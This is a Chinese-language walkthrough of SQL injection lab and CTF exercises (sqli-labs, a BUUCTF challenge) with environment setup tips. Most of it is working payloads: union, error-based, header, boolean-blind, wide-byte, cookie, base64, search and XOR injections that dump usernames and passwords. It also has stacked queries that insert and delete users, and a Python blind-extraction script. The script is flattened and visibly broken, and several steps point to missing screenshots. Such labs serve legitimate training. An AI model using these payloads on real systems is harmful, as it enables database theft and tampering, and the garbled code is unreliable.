目录
一、sql_lab中sql注入之union联合注入
1.判断注入类型
2.判断注入点
3.判断字段数量
4.用union联合查询,判断回显点
5.查询使用的是那个数据库
6.查询表名
7.查询users表里面的字段名
8.查username和password
二、sql_lab之sqli中的post注入
1.判断是否存在注入
2.判断字段数
3.用union查询判断回显点
4.查出当前数据库名
5.查询当前数据库中的表名
6.查询flag表中的字段名
7.查字段里面的数据
三、sql_lab之sqli中的报错注入,less13
1.输入用户名和密码123 123显示登录错误
2.输入用户名和密码123’ 123显示登录错误编辑
3.查询数据库名
4.查询表名
5.查询users用户的字段名
6.查询username和password
四、sql_lab之sqli中的head头注入,less18
1.输入用户名和密码123 123显示登录错误
2.输入用户名和密码123’ 123显示登录错误
3.用burp进行爆破(因为head注入需要登录成功后才能进行查询)
4.抓出登录成功后的包
5.查找报错点
6.尝试在User-Agent里面输入内容进行爆破注入
(1)判断注入类型
(2)查询数据库名
(3)查询表名
(4)查询字段名
(5)查询username和password
五、sql_lab之sqli中的布尔盲注(Boolean)less8
1.首先给出value
2.判断注入类型
3.判断字段数
4.判断用什么注入
(1)用union联合查询来尝试
(2)用报错注入尝试
(3)用布尔盲注来进行查询
5.判断当前数据库名的长度
(1)将所需要的变量加§,并选择束集炸弹
(2)将变量1改为
(3)将变量2改为
(4)得到最终结果
(5)根据ascii码将结果进行查询得到
6.判断表名
(1)判断表的数量
(2)查询每个表名的长度
(3)查询表名
7.判断字段名
(1)判断字段数量
(2)判断每个字段的长度
(3)判读字段名
8.查询最终结果username和password
六、sql_lab之sqli中的宽字节注入(less32)
1.判断注入类型
2.构成闭环
3.查询字段数
4.用union联合查询判断回显点
5.查询数据库名
6.查询表名
7.查询字段名
8.查username和password
七、sql_lab之sqli中的堆叠型注入(less-38)
1.判断注入类型
2.查询字段数
3.判断回显点
4.查询数据库
(1)在users表中添加一个用户
(2)在users表中删除一个用户
1.打开控制台
2.验证id=2时的值
3.判断是上面闭合方式
4.用order by 判断字段数
5.用联合查询判断回显点
6.用转换器转换出base64
7.出现回显
九、sql_lab之sqli中的搜索型注入
1.找到具有模糊查询的搜索框的注入点
2.构造闭合
3.查询字段数
4.union联合查询,判断回显点
5.查询数据库
6.查询表名
7.查询字段
十、sql注入中的异或注入--sql注入加强版(盲注)[极客大挑战 2019]FinalSQL
1、明确异或注入中的异或是什么
2、进入数据库测试异或
3、靶场测试
(1)找注入点
(2)尝试一下盲注中的异或注入了
4.用二分法得到数据库名
十一、sql_lab靶场搭建以及存在的一些问题
1.首先检查小皮版本
2.如果不是这个错误,那么便查看数据库密码是否添加,或者是否与MySQL密码一致
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显
则判断出是字符型注入,且注入是’注入
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值
则判断是sql注入
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果
说明该数据库的字段数量是3
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+
查询到了security数据库里面的所有表名
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+
http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
Post注入
用burpsuit抓包去做
Post第一关:(gxa5)
username=1'or 1=1 #&password=123&submit=%E7%99%BB%E5%BD%95 有回显
username=1'or 1=2 #&password=123&submit=%E7%99%BB%E5%BD%95 没有回显
则证明存在sql注入
username=1'or 1=1 order by 4 #&password=123&submit=%E7%99%BB%E5%BD%95 没有回显
username=1'or 1=1 order by 3 #&password=123&submit=%E7%99%BB%E5%BD%95 有回显
则证明字段数是3
username=1'union select 1,2,3 -- a&password=123&submit=%E7%99%BB%E5%BD%95
username=1'union select 1,database(),3 -- a&password=123&submit=%E7%99%BB%E5%BD%95
username=1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' -- a&password=123&submit=%E7%99%BB%E5%BD%95
username=1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='flag' -- a&password=123&submit=%E7%99%BB%E5%BD%95
username=1'union select 1,group_concat(id),group_concat(flag) from flag -- a&password=123&submit=%E7%99%BB%E5%BD%95
报错注入(less-13)
正常报错注入:
123后面有’)说明是’)注入
1') and updatexml('',concat('1111',database(),'1'),'1') -- s
爆出XPATH syntax error: 'security1'
或者用1') and extractvalue('1',concat('1',database())) -- s
爆出XPATH syntax error: 'security'
1') and extractvalue('1',concat('1',(select group_concat(table_name) from information_schema.tables where table_schema='SECURITY'))) -- s
1') and extractvalue('1',concat('1',(select group_concat(column_name) from information_schema.columns where table_schema='SECURITY' and table_name='users'))) -- s
输入这个
1') and extractvalue('1',concat('1',(select group_concat(username) from users))) -- s
Username结果显示
同理
1') and extractvalue('1',concat('1',(select group_concat(password) from users))) -- s
Password结果显示
注意该结果只能显示一行,所以说需要username和password分开查询,否则会出现错误
比如:
=1') and extractvalue('1',concat('1',(select group_concat(username),group_concat(password) from users))) -- s
结果为:
报错注入中的head注入(less-18)
则证明不是普通报错注入,因为有用户名和密码框,如果不是普通报错注入则尝试head注入
用户名123,密码0 因为对用户名进行爆破
结果为
同理也可使用密码admin对用户名进行爆破
对每个地方进行尝试找出报错点
在User-Agent: 里面输入1
有回显
输入User-Agent: 1'
报错显示 near '127.0.0.1', 'admin')' 说明是’)闭合
且应 写为(‘1’,’2’,’3’):其中1代表报错点,2表示127.0.0.7,3表示admin
用User-Agent: 1'and extractvalue('1',concat('~',(select database()),'~')),123,123) -- s 查出
所以数据库名为security
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~')),123,123) -- s
XPATH syntax error: '~emails,referers,uagents,users~'
所以表名为emails,referers,uagents,users
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),'~')),123,123) -- s
XPATH syntax error: '~id,username,password~'
所以字段名为id,username,password
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(username) from users))),123,123) -- s
查找出用户名为XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
User-Agent: 1'and extractvalue('1',concat('~',(select group_concat(password) from users))),123,123) -- s
查找出密码为XPATH syntax error: '~Dumb,I-kill-you,p@ssword,crappy'
http://127.0.0.3/less-8/?id=1 有回显
http://127.0.0.3/less-8/?id=1 有回显
http://127.0.0.3/less-8/?id=1’ 没有回显
http://127.0.0.3/less-8/?id=1’ -- s 有回显
http://127.0.0.3/less-8/?id=1' and 1=1 -- s 有回显
http://127.0.0.3/less-8/?id=1' and 1=2 -- s 没有回显
说明注入类型是单引号字符串注入
http://127.0.0.3/less-8/?id=1' order by 3 -- s 有回显
http://127.0.0.3/less-8/?id=1' order by 4 -- s 没有回显
说明字段数为3
http://127.0.0.3/less-8/?id=1' UNION SELECT 1,database,3 -- s 没有回显说明不是union联合查询
http://127.0.0.3/less-8/?id=1' and updatexml('',concat('1111',database(),'1'),'1') -- s 没有回显说明不是报错注
http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s 有回显
则证明是布尔盲注
http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s 有回显
则证明数据库名长度为8
用burp进行爆破
数据库名为security
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) =4 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >3 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >4 -- s 没有回显
说明security中有4个表
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) =6 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >10 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >5 -- s 有回显
说明第一个表名的的长度为6
用burp爆破
将所需要的变量加§,并选择束集炸弹
将变量1改为
将变量2改为
最终结果为
第一个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)) = 1 -- s
通过burp爆破步骤同上得到
所以第一个表名为:emails
第二个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1)) = 1 -- s
所以第二个表名为:refere
第三个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1),1,1)) = 1 -- s
所以第三个表名为:uagent
第四个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 3,1),1,1)) = 1 -- s
所以第四个表名为:users
查到users用户表名
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =2 -- s无回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =3 -- s 有回显
说明字段名的字段数是3
用SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1
用burp爆破,步骤同上得到
所以字段1的长度为2,字段2的长度为8,字段3的长度为8
步骤同上
1
2
3
查询得
所以第一个字段名为id,第二个字段名为username,第三个字段名为password
查询username和password总数
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(username) FROM users) =13 -- s
Username=13
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(password) FROM users) =13 -- s
Password=13
查询username和password的最终结果
Username
passowrd同理
http://127.0.0.3/less-32/?id=1
http://127.0.0.3/less-32/?id=1'
出现 \’ 则证明是宽字节注入
http://127.0.0.3/less-32/?id=1%df' -- s
显示登录成功则构成闭环
http://127.0.0.3/less-32/?id=1%df' order by 4 -- s
http://127.0.0.3/less-32/?id=1%df' order by 3 -- s
说明字段数为3
http://127.0.0.3/less-32/?id=-1%df' union select 1,2,3 -- s 记住前面要加 - 因为不加 - 则会正常查询第一个数不会执行联合查询
http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),3 -- s
http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 -- s
爆出security里面的table表
http://127.0.0.3/less-32/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 -- s
http://127.0.0.3/less-32/?id=-1%df' union select 1,group_concat(username),group_concat(password) from users -- s
http://127.0.0.3/less-38/?id=1' and 1=2 -- s 没有回显
http://127.0.0.3/less-38/?id=1' and 1=1 -- s 有回显
则说明是单字节’注入
http://127.0.0.3/less-38/?id=1' order by 4 -- s 报错
http://127.0.0.3/less-38/?id=1' order by 3 -- s 有回显
说明字段数为3
http://127.0.0.3/less-38/?id=-1' union select 1,2,3 -- s
http://127.0.0.3/less-38/?id=-1' union select 1,database(),3 -- s
接下来的步骤可以用联合查询进行查询
堆叠注入攻击
http://127.0.0.3/less-38/?id=1'; insert into values(17,'gao','a123456') -- s
证明添加成功
http://127.0.0.3/less-38/?id=1';delete from users where users.username='gao' -- s
表中没有gao这个用户,说明删除成功
document.cookie="id=2"
document.cookie="id=2' -- s" 有回显
说明是’单引号闭合
接下来的步骤与显错注入类似(用联合查询做的注入类似),不过多叙述
也可以用burp抓包的方式去做
在Cookie: id=2' -- s中输入值
Base64注入(gxa中base64注入)
Id=1 转换成 id=MQ==
http://sss-s347glt.gxalabs.com/Pass-21/index.php?id=MQ==
然后接下来的每一步通过union联合查询进行注入然后转译成base64的编码格式即可
原理是运用模糊查询:
select * from users where username like '%a%'
因为模糊查询的代码是
select * from users where username like '%a%'
所以应该
鱼%’ -- s
判断构造闭合的函数是否正确
鱼%' and 1=1 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=1 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' and 1=2 -- s
证明闭合成功
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 10 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 5 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 7 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' order by 8 -- s
所以说字段数为7
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,2,3,4,5,6,7 -- s
所以说回显点为2和6
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,6,7 -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(table_name) ,7 from information_schema.tables where table_schema="food_db" -- s
http://www.wsdc.com/views/search_p.php?keyword=鱼%' union select 1,database(),3,4,5,group_concat(column_name) ,7 from information_schema.columns where table_schema="food_db" and table_name="collection" -- s
新知识-sql注入中的异或注入(盲注)
异或注入是盲注的一种类型,因为异或逻辑通常返回的是1和0,所以一般用于盲注中。应用场景是过滤了union select and or orderby等一些关键字。还能绕过空格过滤。
异或符号是 xor 或者 ^
相同为0,不同为1
数字与数字:
1^1 ----------------------0
0^0 ----------------------0
1^0 ----------------------1
字符与字符:
字符中如果没有数字或者数字在字母后面在比较时都会转为数字0,
'admin'=0 'admin12'=0
而当数字在字母前面时会是在字母前面的一堆数字
'1admin'=1 '12admin'=12 'admin'=0 'admin12'=0
数字与字符:
将字符转为数字进行异或操作
'admin1'^1=0^1
'admin'^1=0^1
'1admin'^1=1^1
mysql -uroot -p123456789
查询数据库
show databases;
使用travel数据库
use xxx;
查询数据库中的表名
show tables;
查询表里面的内容
select*from xxx;
测试
select * from plane where uname='roo'^1;这里'roo'=0所以说uname=0^1,所以说uname=1
由此可知当uname=1时查不到结果
select * from plane where uname='roo'^0;这里'roo'=0所以说uname=0^0,所以说uname=0
由此可知uname=0时查到所有结果
推荐靶场sqli-labs、[极客大挑战 2019]FinalSQL
我使用的时[极客大挑战 2019]FinalSQL
这点我首先在用户名、密码输入了一系列的注入点发现都没有什么效果,这就是这个傻鸟靶场坑的地方。
因此我们就重新找注入点,这里我在做上一个靶场极客大挑战 2019]EasySQL的时候
没有中间这个
因此我们把焦点放在这里尝试点击看看有没有变化
当我点击1的时候,奇异的一幕发生了,我点击进去了
这意味着我们又重新找到了注入点
进行一系列的代码尝试
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1”) or 1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” or 1=1 -- s
发现都是这个结果,那么就表明可能是or 这个关键字被过滤了
但是当我们把or换成and
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1' and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1') and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1”) and1=1 -- s
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1” and 1=1 -- s
发现也是相同的结果
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id='1'^1
id='1'^1这里也就等同于id=1^1,也就为id=0
发现回显变了,说明我们注入点找正确了
继续尝试
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id='1'^0
发现回显又发生了变化,因此我们在后面加入我们想查询的语句
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>0) 这里length(database())>0如果为真就为1,id=1^1,也就为id=0
回显跟上述测试的一致,因此database长度确实大于0
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>5)
回显跟上述测试的一致,因此database长度不大于5
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())>3)
证明大于3也是正确的
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())=3)
证明等于3是错误的
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(length(database())=4)
证明等于4是正确的
burp抓包找到正确的数据库名
http://225680ef-530e-4dc0-b603-4989abf27ecd.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),1,1))=4)
进行抓包
这里发现状态码不一样,和长度不一样的时候
很多结果都不满足,因此不能用burp来做
经过一系列的步骤得到
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),1,1))=103)
第一个字母为103=g
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),2,1))=101)
第二个字母为101=e
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),3,1))=101)
第三个字母为101=e
http://ed08a8c9-8604-40f0-8588-f7a1dbe4f727.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),4,1))=107)
第四个字母为107=k
所以最终结果为geek
5、构造脚本
import requests
import time
url = "http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
time.sleep(0.06)
low = 32
high =128
mid = (low+high)//2
while(low #库名 temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid) #表名 #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid) #字段名 #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid) #内容 #temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid) r = requests.get(url,params=temp) time.sleep(0.04) print(low,high,mid,":") if "Click" in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break column +=chr(mid) print(column) print("All:" ,column) 得到最终flag sql_lab靶场搭建问题 把小皮改到5.3.29版本如果没有可以直接点击更多版本进行选择安装 当版本不对时则会暴出这种错误 SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES: Fatal error: Uncaught Error: Call to undefined function mysql_connect() in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php:29 Stack trace: #0 {main} thrown in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php on line 29 打开sql-connections下面的db-creds.inc 打开sql-connections下面的db-creds.inc 小皮数据库里面的root密码与db-creds.inc里面的密码要保持一致 如果密码不正确则会出现这个错误 SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES: Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'root'@'localhost' (using password: YES) in D:\phpstudy_pro\WWW\localhost2\sqli\sql-connections\setup-db.php on line 29 [*]...................Could not connect to DB, check the creds in db-creds.inc: Access denied for user 'root'@'localhost' (using password: YES) 当密码一致和版本正确后则会成功导入数据库 这样就表示sql_lab环境搭建成功,可以使用十一、sql_lab靶场搭建以及存在的一些问题
1.首先检查小皮版本
2.如果不是这个错误,那么便查看数据库密码是否添加,或者是否与MySQL密码一致